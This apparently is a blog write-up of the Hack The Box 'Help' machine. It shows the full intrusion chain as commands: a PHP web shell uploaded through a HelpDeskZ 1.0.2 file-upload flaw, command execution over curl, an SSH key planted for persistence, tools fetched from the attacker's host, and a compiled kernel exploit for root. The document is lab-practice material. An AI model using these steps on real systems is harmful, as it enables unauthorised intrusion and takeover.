DEV Community

nekohige
nekohige

Posted on

HTB - Help Writeup - no Metasploit

#htb #security #ctf

Summary

  • The machine is running HelpDeskZ version 1.0.2 on port 80 (HTTP), which is vulnerable to an Arbitrary File Upload issue.
  • This vulnerability was exploited to obtain a reverse shell as the help user.
  • Enumeration of the kernel version revealed 4.4.0-116-generic, which is affected by a privilege escalation vulnerability, CVE-2017-16995.
  • Exploitation of CVE-2017-16995 was successful, resulting in a root shell.

Recommendation

Assuming this were a real-world environment, I would recommend the following:

  • Use the latest version of HelpDeskZ and apply kernel updates, or consider switching to an alternative system.

Enumeration

First of all, let's enumerate open ports running on the machine. I usually take following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.159
Enter fullscreen mode Exit fullscreen mode 


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.159
Enter fullscreen mode Exit fullscreen mode

Ports 22(SSH) and 80(HTTP) are open. This suggests that it is a Linux machine.
Also, Port 3000 is open and running HTTP. It not very common so let's check it later.
The domain name is revealed: help.htb.

No interesting UDPs.

The DNS information shows nothing interesting.

dig @10.129.230.159 help.htb any
Enter fullscreen mode Exit fullscreen mode

Add the mapping between the domain and IP to /etc/hosts.

echo "10.129.230.159 help.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Let's take a look at Port 80 and 3000.

http://help.htb:80

http://help.htb:3000/

Let's enumerate pages.

feroxbuster -u http://help.htb:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak
Enter fullscreen mode Exit fullscreen mode

There is a web application, http://help.htb/support/.

http://help.htb/support/readme.html

We can see that HelpDeskZ version: 1.0.2 is running.

feroxbuster -u http://help.htb:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak
Enter fullscreen mode Exit fullscreen mode

No interesting pages.

Exploitation

After searching the web, HelpDeskZ version: 1.0.2 has a vulnerability of Arbitrary File Upload as follows.
https://www.exploit-db.com/exploits/40300
https://gist.github.com/SakiiR/b005c6d1c955502cfe1d1dfc959cc0f7

I prepared an exploit file as follows. But, I couldn't upload it.

echo '<?php system($_GET['cmd']); ?>' > sh.php
Enter fullscreen mode Exit fullscreen mode

After searching the web, it was okay. Although it says "File is not allowed." the file is uploaded already on the machine.
So, let's use the script on the web: https://www.exploit-db.com/exploits/40300.
The base URL is where the uploaded file is stored. It’s http://help.htb/support/uploads/tickets/, as feroxbuster shows.

I used the PoC of searchexploit as follows.

python2 test.py http://help.htb/support/uploads/tickets/ sh.php
Enter fullscreen mode Exit fullscreen mode 


curl "http://help.htb/support/uploads/tickets/1dc25cd34ad5db4b9d3b0bacac99bf4d.php?cmd=id"
Enter fullscreen mode Exit fullscreen mode

It works!

Let's make a reverse shell using Reverse Shell Generator, https://www.revshells.com/.


cat /home/help/user.txt
Enter fullscreen mode Exit fullscreen mode

We got user.txt!

In order to stabilize the shell, I set up an SSH environment as follows.

# My kali
ssh-keygen -t ed25519 -f ./id_ktmp -N ''

# Target Machine
mkdir -p ~/home/help/.ssh; echo "<the content of id_ktmp.pub>" >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 

# My kali
ssh help@10.129.230.159 -i id_ktmp
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation

Let's start linpeas for searching ways for privilege escalation.

wget http://10.10.17.153:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
./linpeas.sh
Enter fullscreen mode Exit fullscreen mode

The following section, “Kernel Exploit Registry”, shows that the kernel version 4.4.0-116-generic is vulnerable to a privilege escalation issue, CVE-2017-16995.

https://www.exploit-db.com/exploits/44298

Let's use the PoC of CVE-2017-16995.

searchsploit -m 44298
python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode 


wget http://10.10.17.153:8000/44298.c -O /tmp/44298.c
Enter fullscreen mode Exit fullscreen mode 


gcc 44298.c -o exploit
chmod +x exploit 
./exploit
id
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Hooray!

Lessons Learned

  • The arbitrary file upload vulnerability was confirmed, but I was not able to upload a PHP file at first. I should have kept trying different approaches, and also should have made more effort to identify the upload folder.
  • When the PoC is written in C, it must be compiled with gcc on the target machine itself for it to work correctly.

Top comments (0)